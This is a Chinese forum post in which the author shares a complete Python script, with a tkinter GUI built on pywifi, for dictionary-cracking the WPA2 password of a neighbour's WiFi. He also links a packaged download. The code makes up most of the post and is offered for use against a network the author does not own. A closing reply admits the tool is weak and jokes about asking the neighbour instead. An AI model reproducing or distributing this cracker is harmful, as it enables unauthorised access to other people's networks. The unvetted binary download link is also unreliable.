自己家的网路实在是差劲的一批,但凡我只要一使用,电视那边就不行了... ...
然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是......
---------------------------------------------------------------------------------------------------------------------------------
from tkinter import * from pywifi import const import pywifi import time # 主要步骤: # 1、获取第一个无线网卡 # 2、断开所有的wifi # 3、读取密码本 # 4、设置睡眠时间 #测试连接 def wificonnect(str,wifiname): # 窗口无线对象 wifi = pywifi.PyWiFi() # 抓取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status()==const.IFACE_DISCONNECTED: # 创建wifi连接文件 profile = pywifi.Profile() profile.ssid = wifiname # wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi的密码 profile.key = str # 网卡的开发 profile.auth = const.AUTH_ALG_OPEN # 加密单元,这里需要写点加密单元否则无法连接 profile.cipher = const.CIPHER_TYPE_CCMP #删除所有的wifi文件 ifaces.remove_all_network_profiles() #设置新的连接文件 tep_profile = ifaces.add_network_profile(profile) # 连接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False def readPwd(): # 获取wiif名称 wifiname = entry.get().strip() path = r'./wifipwd.txt' file = open(path,'r') while True: try: # 读取 mystr = file.readline().strip() # 测试连接 bool = wificonnect(mystr,wifiname) if bool: text.insert(END,'密码正确'+mystr) text.see(END) text.update() file.close() break else: text.insert(END,'密码错误'+mystr) text.see(END) text.update() except: continue # 创建窗口 root = Tk() root.title('wifi**') root.geometry('500x400') # 标签 label = Label(root,text='输入要破解的WIFI名称:') #定位 label.grid() #输入控件 entry = Entry(root,font=('微软雅黑',14)) entry.grid(row=0,column=1) #列表控件 text =Listbox(root,font=('微软雅黑',14),width=40,height=10) text.grid(row=1,columnspan=2) # 按钮 button = Button(root,text = '开始破解',width=20,height=2,command=readPwd) button.grid(row=2,columnspan=2) # 显示窗口 root.mainloop()
然后我也把它打包了一下
++这是字典破解,不知道会不会对电脑WiFi模块有损害,小弟也搞不清楚,所以使用的时候,不要挂上字典,人就出差了
下载地址:https://qglzhyk.lanzoui.com/inx0Kko5pxc
密码:52pj
1.22回复:昨天晚上着急睡了,没说明白,正如评论里说的那样,这个工具其实是非常鸡肋的一个工具,但是python的代码还是值得新手去看看的,我这边才开始学python没多久,给非常抱歉大家带来的不便,其实敲一下邻居家门,然后递上一支烟就能解决
评论:
发表评论: